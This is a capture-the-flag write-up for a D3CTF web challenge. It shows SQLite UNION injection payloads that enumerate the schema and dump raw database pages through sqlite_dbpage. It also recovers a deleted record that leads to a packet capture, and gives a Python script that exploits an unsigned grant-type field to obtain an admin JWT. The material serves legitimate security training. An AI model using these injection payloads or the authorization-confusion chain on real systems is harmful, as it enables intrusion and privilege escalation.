$ cat writeup.md…
$ cat writeup.md…
d3c2026
Task: An encrypted search gateway hides a SQLite injection, deleted packet-capture record, and legacy authentication flow. Solution: Recover the raw database page, replay its hidden gateway target, and exploit unsigned grant-type authorization confusion.
Born of light, lost to shadow~
The application presents a searchable archive. The goal is to follow the deliberately hidden historical evidence, obtain administrative authorization, and read the protected flag endpoint.
The frontend does not send searches directly. app.js creates a Web Worker, and crypto.worker.js performs the complete transport setup:
/api/session/guest./api/transport/bootstrap.ghost-packet:c2s and ghost-packet:s2c.The task artifact solve.py reproduces this protocol. Its essential request construction is:
aad = canonical({ "direction": "c2s", "seq": seq, "sid": sid, "ts": ts, "v": 1 }) clear = canonical({"target": target, "body": body}) iv = os.urandom(12) ct = AESGCM(c2s_key).encrypt(iv, clear, aad)
The response uses the independently derived server-to-client key and the same canonical AAD structure with direction set to s2c.
The worker normally selects gateway target search, whose query parameter is SQL injectable. A three-column SQLite UNION is sufficient to enumerate the schema. Representative probes are:
x' UNION SELECT 1,group_concat(name,'|'),3 FROM sqlite_master-- x' UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table'--
This reveals the random-looking table q_8f3c1a72d90e4b65. Its visible rows reference four packet captures and several decoys. The captures with malformed historical cryptographic material are distractions; breaking P-256, AES-GCM, or RSA is unnecessary.
The title and the words “lost to shadow” suggest data that once existed but is no longer returned by ordinary SQL queries. SQLite's dbstat and, more importantly, sqlite_dbpage remain accessible even though the application blocks names matching pragma_*.
Raw pages can be extracted through the same three-column injection:
zzzz' UNION SELECT pgno,hex(data),'page' FROM sqlite_dbpage WHERE pgno=5--
dump_db.py repeats this for pages 1 through 5 and concatenates the 4096-byte results into a valid database.sqlite. Inspection of raw page 5 reveals a deleted table record tagged Ghost_Zero, containing:
/test/7f9c18a2e44d/fe291443882d55af94bff1f9cddffb73.pcap SHA-256: 1829670b437f5d952df05bb7b4440772372e83c22ec799452d5da08a7957204b
The downloaded ghost-zero.pcap matches that SHA-256 value. This integrity check confirms that the recovered deleted record points to the intended artifact.
Following the HTTP streams reveals a historical authentication sequence:
POST /ddddddtestStat Content-Type: application/json {"principal":"ops-root","mode":"bootstrap","credentialType":"temporary"}
The response contains an exchange ticket, which is then submitted as follows:
POST /api/auth/exchange Content-Type: application/json {"ticket":"<FRESH_TICKET>","grantType":"legacy-bootstrap"}
The JWT signatures stored in the capture are synthetic and expired, so replaying the captured tokens is intentionally unsuccessful. The useful evidence is the route, request body, and grant type.
The historical route is not directly exposed as a normal HTTP endpoint on the current instance. Instead, it is still registered behind the encrypted gateway dispatcher.
The exact gateway target is critical:
ddddddtestStat returns operation unavailable./ddddddtestStat returns a fresh, correctly signed exchange ticket.The leading slash from the recovered HTTP request must therefore be preserved when converting the PCAP evidence into a gateway operation. This distinction is the main trick that connects the deleted artifact to the live application.
The fresh ticket is valid but has signed scope session; it does not itself authorize administration. Nevertheless, /api/auth/exchange accepts the unsigned JSON field grantType: legacy-bootstrap as the authorization selector and returns an access JWT with role=admin and sub=ops-root.
This is not JWT forgery. It is privilege escalation caused by a trust-boundary error: the server verifies the ticket's signature but lets an unsigned request-body field choose a stronger grant whose privilege is not bound to the ticket's signed claims.
Run the supplied solve.py transport implementation and the following final chain against the active challenge instance:
#!/usr/bin/env python3 import json import os import requests from solve import Client base = os.environ["BASE"] client = Client() # The leading slash is mandatory. issued = client.call("/ddddddtestStat", { "principal": "ops-root", "mode": "bootstrap", "credentialType": "temporary", }) ticket = issued["data"]["exchangeTicket"] exchange = requests.post( base + "/api/auth/exchange", json={"ticket": ticket, "grantType": "legacy-bootstrap"}, ) exchange.raise_for_status() admin_token = exchange.json()["token"] result = requests.get( base + "/api/flag", headers={"Authorization": "Bearer " + admin_token}, ) result.raise_for_status() print(json.dumps({"status": result.status_code, "flag": "d3ctf{REDACTED}"}))
The complete local reproducer is final_chain.py. It obtains the fresh ticket, exchanges it using the legacy grant selector, and requests /api/flag with the returned admin JWT. The challenge hostname is instance-specific and should be supplied through BASE rather than hard-coded for later runs.
solve.py: P-256 ECDH, HKDF-SHA256, AES-GCM, and canonical-AAD gateway client.dump_db.py: extraction and reconstruction of all five raw SQLite pages.ghost-zero.pcap: recovered historical HTTP evidence; SHA-256 1829670b437f5d952df05bb7b4440772372e83c22ec799452d5da08a7957204b.final_chain.py: minimal end-to-end ticket issuance, exchange, and protected endpoint request.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar